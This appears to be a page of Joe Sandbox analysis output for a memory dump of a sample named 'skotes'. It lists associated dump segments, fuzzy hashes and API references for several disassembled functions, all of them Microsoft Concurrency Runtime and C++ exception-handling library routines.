Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: dd61c9f383fcc374ddfe24db543923fe6affbdba25c0021d6d24b793bb068d60
Instruction ID: 8582d189cee5ca7014e34677de0ecb8585f62f46594d62acafd9f1d995143768
Opcode Fuzzy Hash: dd61c9f383fcc374ddfe24db543923fe6affbdba25c0021d6d24b793bb068d60
Instruction Fuzzy Hash: 5581E331A006269FCB28DFA9D8905FEBBF3BF58304B24402DD545E7A51DB30AD89CB90

Function 001B69DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 001B6A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 001B6A51
List.LIBCONCRT ref: 001B6A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 001B6A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 001B6AB9
List.LIBCONCRT ref: 001B6AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 001B6B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 001B6B20
List.LIBCONCRT ref: 001B6B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 001B6B68

Part of subcall function 001B5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 001B5EF7
Part of subcall function 001B5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 001B5F09

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: 4f19489e193489ad30fcc24a791cc6964dcb1e8f786d376c66e57c06489d2a40
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: D8513D75A00209AFDF08DFA4C595BEDB3B8BF28304F154069E915EB282DB74EE45CB90

Function 001C52A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 001C53A0
type_info::operator==.LIBVCRUNTIME ref: 001C53C7
___TypeMatch.LIBVCRUNTIME ref: 001C54D3
IsInExceptionSpec.LIBVCRUNTIME ref: 001C55AE
CallUnexpected.LIBVCRUNTIME ref: 001C5650

Strings

csm, xrefs: 001C52E0
csm, xrefs: 001C53FE
csm, xrefs: 001C534D

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: 5532130b825af0304faf14f4a208ca9e3233420ddec86d3cd74def136aa37380
Instruction ID: e03330a400f83b82050f3aac4f75e2a5608b2f604270d9eef83c52322320cef7
Opcode Fuzzy Hash: 5532130b825af0304faf14f4a208ca9e3233420ddec86d3cd74def136aa37380
Instruction Fuzzy Hash: 26C18A71900619DFCF29DFA8C880EAEBBB6BF34315F50415EE8116B202D771EA91CB91

Function 001B7364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 001B73B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 001B73F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 001B740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 001B7419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 001B7440

Strings

count, xrefs: 001B737E
ppVirtualProcessorRoots, xrefs: 001B7438

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 171ad0f61ce4a6770b20be18fc29f57ef6640f550db9848705deec84a0ff708d
Instruction ID: c41ef4e653de9bd50056f37aecec4c7ef725c24859668122fc34fcddf14f1f64
Opcode Fuzzy Hash: 171ad0f61ce4a6770b20be18fc29f57ef6640f550db9848705deec84a0ff708d
Instruction Fuzzy Hash: F3216034A00309AFCB14EFA9D5D5AEDBBB5BF59310F144069E905AB3A1DB30AE41CF90

Function 001B78E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 001B7903

Part of subcall function 001B5CB8: __EH_prolog3_catch.LIBCMT ref: 001B5CBF
Part of subcall function 001B5CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 001B5CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 001B792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 001B7936

Part of subcall function 001B5CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 001B5D70
Part of subcall function 001B5CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 001B5D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 001B7982
Concurrency::location::_Assign.LIBCMT ref: 001B79A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 001B79AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 001B79BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 001B79ED

Part of subcall function 001B691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 001B6942
Part of subcall function 001B691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 001B6965

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
